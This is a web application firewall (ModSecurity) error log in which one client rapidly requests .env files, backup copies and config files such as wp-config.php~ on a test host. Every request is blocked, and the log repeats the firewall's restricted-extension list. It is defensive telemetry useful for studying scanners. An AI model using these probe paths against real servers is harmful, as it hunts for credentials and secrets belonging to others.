[Sun Nov 30 15:25:47.577662 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NgAAAEU&quot;]
[Sun Nov 30 15:25:47.577877 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NgAAAEU&quot;]
[Sun Nov 30 15:25:48.026330 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aSxT7H-YzzK-2pqhifF4OAAAAEU&quot;]
[Sun Nov 30 15:25:48.026564 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aSxT7H-YzzK-2pqhifF4OAAAAEU&quot;]
[Sun Nov 30 15:25:48.026793 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aSxT7H-YzzK-2pqhifF4OAAAAEU&quot;]
[Sun Nov 30 15:25:48.026996 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aSxT7H-YzzK-2pqhifF4OAAAAEU&quot;]
[Sun Nov 30 15:25:49.149637 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PQAAAEU&quot;]
[Sun Nov 30 15:25:49.149974 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PQAAAEU&quot;]
[Sun Nov 30 15:25:49.150216 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PQAAAEU&quot;]
[Sun Nov 30 15:25:49.373884 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PgAAAEU&quot;]
[Sun Nov 30 15:25:49.374100 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PgAAAEU&quot;]
[Sun Nov 30 15:25:49.374371 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4PgAAAEU&quot;]
[Sun Nov 30 15:25:49.823695 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4QAAAAEU&quot;]
[Sun Nov 30 15:25:49.823913 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4QAAAAEU&quot;]
[Sun Nov 30 15:25:49.824117 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSxT7X-YzzK-2pqhifF4QAAAAEU&quot;]
[Sun Nov 30 15:25:50.273738 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4QgAAAEU&quot;]
[Sun Nov 30 15:25:50.274072 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4QgAAAEU&quot;]
[Sun Nov 30 15:25:50.274273 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4QgAAAEU&quot;]
[Sun Nov 30 15:25:50.951478 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4RQAAAEU&quot;]
[Sun Nov 30 15:25:50.951708 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4RQAAAEU&quot;]
[Sun Nov 30 15:25:50.951945 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSxT7n-YzzK-2pqhifF4RQAAAEU&quot;]
[Sun Nov 30 15:25:51.176078 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RgAAAEU&quot;]
[Sun Nov 30 15:25:51.176337 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RgAAAEU&quot;]
[Sun Nov 30 15:25:51.176583 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RgAAAEU&quot;]
[Sun Nov 30 15:25:51.401703 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RwAAAEU&quot;]
[Sun Nov 30 15:25:51.401868 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RwAAAEU&quot;]
[Sun Nov 30 15:25:51.402082 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RwAAAEU&quot;]
[Sun Nov 30 15:25:51.402271 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4RwAAAEU&quot;]
[Sun Nov 30 15:25:51.626998 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SAAAAEU&quot;]
[Sun Nov 30 15:25:51.627171 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SAAAAEU&quot;]
